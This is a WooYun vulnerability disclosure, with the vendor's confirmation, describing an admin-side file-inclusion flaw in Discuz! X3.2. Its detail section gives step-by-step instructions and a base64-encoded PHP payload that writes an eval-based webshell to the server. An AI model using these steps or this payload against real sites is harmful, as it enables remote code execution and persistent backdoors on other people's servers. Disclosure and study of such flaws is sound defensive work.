漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-065559
漏洞标题：Discuz3.2后台文件包含漏洞可后台拿shell
相关厂商：Discuz!
漏洞作者： 路人甲
提交时间：2014-06-20 09:20
修复时间：2014-08-04 09:22
公开时间：2014-08-04 09:22
漏洞类型：文件包含
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-06-20： 细节已通知厂商并且等待厂商处理中
2014-06-20： 厂商已经确认，细节仅向厂商公开
2014-06-23： 细节向第三方安全合作伙伴开放
2014-08-14： 细节向核心白帽子及相关领域专家公开
2014-08-24： 细节向普通白帽子公开
2014-09-03： 细节向实习白帽子公开
2014-08-04： 细节向公众公开
简要描述：
最新版本：Discuz! X3.2 Release 20140618
包括以前版本
详细说明：
由于创建专题时未对
做任何限制引发此漏洞
1.全局->站点信息
网站 URL: http://www.comsenz.com/#<?php file_put_contents('0.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW2FdKTsgPz4='));?>
2.工具->更新缓存
3.门户->HTML管理
静态文件扩展名: htm
专题HTML存放目录:data/cache
4.创建专题
静态化名称[此处未做任何限制]：../../template/default/portal/portal_topic_test
5.专题管理
对刚添加的专题 开启 并生成
6.再次创建专题
模板名 选择刚生成的 ./template/default/portal/portal_topic_test.htm
提交
就执行了php代码 <?php file_put_contents('0.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW2FdKTsgPz4='));?>
不仅仅是可以生成到专题目录，可以生成到任何可以包含的下面！
漏洞证明：
修复方案：
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：20
确认时间：2014-06-20 11:13
厂商回复：
感谢您对问题的提出，我们尽快予以修复
最新状态：
暂无